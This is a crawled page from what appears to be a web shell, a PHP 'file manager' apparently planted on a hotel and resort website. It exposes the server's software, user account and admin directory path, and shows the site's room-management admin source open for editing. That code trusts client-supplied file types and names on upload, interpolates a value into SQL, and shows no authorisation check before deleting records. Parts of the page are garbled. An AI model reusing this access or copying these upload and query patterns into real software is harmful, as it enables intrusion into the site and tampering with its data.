Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html/admin/main

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: manageRoom.php

<?php
include("header.php"); //HEADER CALL
include("topnav.php"); // TOP NAVIGATION CALL

//FUNCTION ADDING CUSTOMER

if (isset($_POST['add'])) {
    // Collect form data
    $room_name = $_POST['room_name'];
    $room_description = $_POST['room_description'];
    $capacity = $_POST['capacity'];
    $bed_num = $_POST['bed_num'];
    $bed = $_POST['bed'];
    $room_price = $_POST['room_price'];
    $room_type = $_POST['room_type'];
    // Handle image upload
    if (isset($_FILES['event_img']) && count($_FILES['event_img']['name']) > 0) {
        $uploadedFiles = [];
        $imageCount = count($_FILES['event_img']['name']);

// Ensure the uploads directory exists and is writable
        $targetDir = '../uploads/';
        if (!is_dir($targetDir)) {
            mkdir($targetDir, 0755, true); // Create the directory if it doesn't exist
        }

// Loop through each uploaded file
        for ($i = 0; $i < $imageCount; $i++) {
            $imageTmpName = $_FILES['event_img']['tmp_name'][$i];
            $imageName = $_FILES['event_img']['name'][$i];
            $imageType = $_FILES['event_img']['type'][$i];

// Define the full path to the uploaded file
            $targetFile = $targetDir . basename($imageName);

// Check if the file type is valid
            $allowedTypes = ['image/jpeg', 'image/png', 'image/jpg'];
            if (in_array($imageType, $allowedTypes)) {
                // Attempt to move the uploaded file to the target directory
                if (move_uploaded_file($imageTmpName, $targetFile)) {
                    $uploadedFiles[] = $targetFile; // Store the file path for database insertion
                } else {
                    $_SESSION['status'] = "Error uploading image.";
                    $_SESSION['code'] = "error";
                    header("Location: manageRoom.php");
                    exit();
                }
            } else {
                $_SESSION['status'] = "Invalid file type. Only JPG, JPEG, and PNG are allowed.";
                $_SESSION['code'] = "error";
                header("Location: manageRoom.php");
                exit();
            }
        }

// Check for database connection
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }

// Insert room data into the database
        $stmt = $conn->prepare("INSERT INTO `room`(`room_name`, `room_description`, `capacity`, `bed_num`, `bed_description`, `room_price`, `room_type`) VALUES (?, ?, ?, ?, ?, ?, ?)");
        $stmt->bind_param(
            "ssiisss",
            $room_name,
            $room_description,
            $capacity,
            $bed_num,
            $bed,
            $room_price,
            $room_type
        );

if ($stmt->execute()) {
            // Get the room ID
            $roomId = $conn->insert_id;

// Insert image data into the database
            $stmt = $conn->prepare("INSERT INTO `room_images`(`room_id`, `image_path`, `featured`) VALUES (?, ?, ?)");
            $stmt->bind_param("isi", $roomId, $imagePath, $featured);

// Loop through the images and set the first one as featured
            foreach ($uploadedFiles as $index => $imagePath) {
                // Mark the first image as featured (index 0), and the rest as non-featured (0)
                $featured = ($index == 0) ? 1 : 0;

$stmt->execute(); // Insert image path and featured flag for each image
            }

$_SESSION['status'] = "Room successfully added with images!";
            $_SESSION['code'] = "success";
        } else {
            $_SESSION['status'] = "Error adding room: " . $stmt->error;
            $_SESSION['code'] = "error";
        }

$stmt->close();
        $conn->close();
    } else {
        $_SESSION['status'] = "No images uploaded or there was an error with the upload.";
        $_SESSION['code'] = "error";
    }

// Redirect back to the room page or wherever you want after the action
    header("Location: manageRoom.php");
    exit();
}

//FUNCTION FOR DELETING CUSTOMER
if (isset($_POST['id'])) {
    $room_id = $_POST['id'];

// Step 1: Get all image paths for the room from the room_images table
    $sql_get_images = "SELECT image_path FROM room_images WHERE room_id = ?";
    $stmt = $conn->prepare($sql_get_images);
    $stmt->bind_param("i", $room_id);
    $stmt->execute();
    $result = $stmt->get_result();

// Fetch all image paths for the room
    $images = $result->fetch_all(MYSQLI_ASSOC);

// Step 2: Delete the images from the server (uploads folder)
    foreach ($images as $image) {
        $imagePath = $image['image_path'];
        if (file_exists($imagePath)) {
            unlink($imagePath); // Delete the image from the uploads folder
        }
    }

// Step 3: Delete the images from the room_images table
    $sql_delete_images = "DELETE FROM room_images WHERE room_id = ?";
    $stmt_delete_images = $conn->prepare($sql_delete_images);
    $stmt_delete_images->bind_param("i", $room_id);
    $stmt_delete_images->execute();
    $stmt_delete_images->close();

// Step 4: Delete the room record from the room table
    $sql_delete_room = "DELETE FROM room WHERE room_id = ?";
    $stmt_delete_room = $conn->prepare($sql_delete_room);
    $stmt_delete_room->bind_param("i", $room_id);
    $res = $stmt_delete_room->execute();

if ($res == TRUE) {
        $_SESSION['status'] = "Room Successfully Deleted";
        $_SESSION['code'] = "success";
    } else {
        $_SESSION['status'] = "Error deleting room.";
        $_SESSION['code'] = "error";
    }

// Close the statements and connection
    $stmt_delete_room->close();
}

//END FUNCTION
?>

<nav class="mt-3">
    <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
        
        <li class="nav-item">
            <a href="index.php" class="nav-link ">
                <i class="nav-icon fas fa-tachometer-alt"></i>
                <p>
                    Dashboard
                    
                </p>
            </a>
        </li>

<li class="nav-header">MANAGEMENT</li>

<li class="nav-item">
            <a href="manageEmployee.php" class="nav-link ">
                <i class="fa-solid fa-user nav-icon"></i>
                <p>
                    Manage Employee
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageCustomer.php" class="nav-link ">
                <i class="fa-solid fa-users nav-icon"></i>
                <p>
                    Manage Customer
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageEvent.php" class="nav-link ">
                <i class="fa-solid fa-champagne-glasses nav-icon"></i>
                <p>
                    Manage Event
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageRoom.php" class="nav-link active">
                <i class="fa-solid fa-bed nav-icon"></i>
                <p>
                    Manage Room
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageServices.php" class="nav-link ">
                <i class="fa-solid fa-cart-flatbed-suitcase nav-icon"></i>
                <p>
                    Manage Services
                    
                </p>
            </a>
        </li>

<li class="nav-item">
            <a href="manageAmeneties.php" class="nav-link">
                <i class="fa-solid fa-tree nav-icon"></i>
                Manage Amenities
                
                </p>
            </a>
        </li>

<li class="nav-header">RESERVATIONS</li>

<li class="nav-item menu-is-opening menu-open">
            <a href="#" class="nav-link bg-purple">
                <i class="fa-regular fa-calendar nav-icon"></i>
                <p>
                    Room Reservation
                    <i class="fas fa-angle-left right"></i>
                </p>
            </a>
            <ul class="nav nav-treeview">
                <li class="nav-item">
                    <a href="../room" class="nav-link">
                        <i class="fa-regular fa-circle nav-icon"></i>
                        <p>Go to Dashboard</p>
                    </a>
                </li>
            </ul>
        </li>

<li class="nav-item menu-is-opening menu-open">
            <a href="#" class="nav-link bg-orange text-white">
                <i class="fa-regular fa-calendar nav-icon"></i>
                <p>
                    Cottage Reservation
                    <i class="fas fa-angle-left right"></i>
                </p>
            </a>
            <ul class="nav nav-treeview" style="display: hidden;">
                <li class="nav-item">
                    <a href="../pos/" class="nav-link">
                        <i class="fa-regular fa-circle nav-icon"></i>
                        <p>Go to Dashboard</p>
                    </a>
                </li>
            </ul>
        </li>

<li class="nav-item">
            <a href="eventReservation.php" class="nav-link">
                <i class="fa-regular fa-calendar nav-icon"></i>
                <p>
                    Event Reservation
                    
                </p>
            </a>
        </li>

<li class="nav-header">REPORTS</li>

<li class="nav-item">
            <a href="reports.php" class="nav-link">
                <i class="fa-solid fa-sack-dollar nav-icon"></i>
                <p>
                    Sales Report
                    
                </p>
            </a>
        </li>

</ul>
</nav>

</div>

</aside>

<div class="content-wrapper">
    
    <div class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    
                </div>
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">

</ol>
                </div>
            </div>
        </div>
    </div>

<div class="content">
        <div class="container-fluid bg-light">

<div class="card">
                <div class="card-header">
                    <h3 class="card-title font-weight-bold mt-1">ROOMS</h3>

</div>

<div class="card-body">
                    <table id="example2" class="table table-bordered table-striped table-hover">
                        <thead class="text-white bg-lightblue">
                            <tr>
                                <th class="text-center">Room Image</th>
                                <th>Room Name</th>
                                <th>Room Description</th>
                                <th>Room Type</th>
                                <th>Room Capacity</th>
                                <th>Number of Bed</th>
                                <th>Bed Description</th>
                                <th>Room Price</th>
                                <th class="col-2 text-center">Action</th>
                            </tr>
                        </thead>

<tbody>
                            <?php
                            $sql = "SELECT * FROM room"; // Fetching data from the room table
                            $res = $conn->query($sql);
                            while ($row = $res->fetch_assoc()) {
                                $db_room_id = $row['room_id'];

// Correct SQL join to get the image path
                                $get_record = mysqli_query($conn, "
                                            SELECT image_path 
                                            FROM room_images 
                                            INNER JOIN room ON room.room_id = room_images.room_id 
                                            WHERE room_images.featured = 1 AND room.room_id = '$db_room_id'
                                        ");
                                $row2 = mysqli_fetch_assoc($get_record);
                                if ($row2) {
                                    $part = $row2['image_path'];
                                    // Use $part to display the image or do further processing
                                } ?>

<tr>

<td class=" text-center">
                                        <a class="btn btn-sm btn-info"
                                            href="updateRoom.php?id=<?php echo $row['room_id']; ?>"><i
                                                class="fas fa-edit"></i></a>
                                        <a class="btn btn-sm btn-danger delete" data-id="<?php echo $row['room_id']; ?>"
                                            onclick="confirmDelete(this);">
                                            <i class="fas fa-trash"></i></a>&nbsp;
                                    </td>
                                </tr>
                            <?php } ?>
                        </tbody>

</table>

</div>
                
            </div>

</div>
    </div>
    
</div>

<aside class="control-sidebar control-sidebar-dark">
    
    <div class="p-3">
        <h5>Title</h5>
        <p>Sidebar content</p>
    </div>
</aside>

<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
    aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header bg-lightblue">
                <h5 class="modal-title" id="exampleModalLabel">ADD ROOM</h5>

<button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <form action="" method="post" enctype="multipart/form-data">
                <div class="modal-body">

<div class="form-group">
                                <label for="comment" class="">Room Description:</label>
                                <textarea class="form-control" rows="3" name="room_description" required placeholder="Enter Room Description"></textarea>
                            </div>

<div class="form-group">
                                <label Class="">Capacity:</label>
                                <select name="capacity" id="" class="form-control" required>
                                    <option value="">*** Select Capacity ***</option>
                                    <option value="2">2 Pax</option>
                                    <option value="4">4 Pax</option>
                                    <option value="6">6 Pax</option>
                                    <option value="8">8 Pax</option>
                                    <option value="6-10">6-10 Pax</option>
                                    <option value="12">12 Pax</option>
                                    <option value="15">15 Pax</option>
                                </select>
                            </div>

<div class="form-group">
                                <label Class="">Number of Bed:</label>
                                <select name="bed_num" id="" class="form-control" required>
                                    <option value="">*** Select Bed Number ***</option>
                                    <option value="1">1 Bed</option>
                                    <option value="2">2 Beds</option>
                                    <option value="4">4 Beds</option>
                                    <option value="6">6 Beds</option>
                                    <option value="8">8 Beds</option>
                                </select>
                            </div>

<div class="form-group">
                                <label Class="">Bed Description:</label>
                                <select name="bed" id="" class="form-control" required>
                                    <option value="">*** Select Bed Size ***</option>
                                    <option value="Single">Single</option>
                                    <option value="Double">Double</option>
                                    <option value="Double Deck">Double Deck</option>
                                    <option value="Queen">Queen</option>
                                    <option value="King">King</option>

</select>
                            </div>

<div class="form-group">
                                <label for="comment" class="">Room Price:</label>
                                <input type="number" class="form-control" name="room_price" placeholder="Enter Room Price" required>
                            </div>

<div class="form-group">Room Type:</label>
                                <select name="room_type" id="" class="form-control" required>
                                    <option value="">*** Select Room Type ***</option>
                                    <option value="Hotel">Hotel</option>
                                    <option value="Villa">Villa</option>
                                </select>
                            </div>

<div class="form-group">
                                <label Class="">Event Image:</label>
                                <input type="file" class="form-control mb-2" name="event_img[]"
                                    required multiple>
                            </div>
                        </div>

</div>

</div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
                    <button type="submit" name="add" class="btn btn-primary">Submit</button>
                </div>
            </form>
        </div>
    </div>
</div>

<div class="modal fade" id="deleteModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
    aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title text-dark font-weight-bold" id="exampleModalLabel">DELETE CONFIRMATION</h5>
                <button class="close" type="button" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">×</span>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" id="form-delete">

<h6>Are sure you want to Delete this Data?</h6>

</div>
            <div class="modal-footer">
                <button class="btn btn-danger" type="button" data-dismiss="modal">Cancel</button>
                <button type="submit" form="form-delete" class="btn btn-primary">Yes. Delete It!</button>
            </div>
            </form>
        </div>
    </div>
</div>

<?php
include("footer.php");
include("alert.php");
?>

document.getElementById("form-delete").id.value = id;
        $("#deleteModal").modal("show");
    }
</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: manageRoom.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation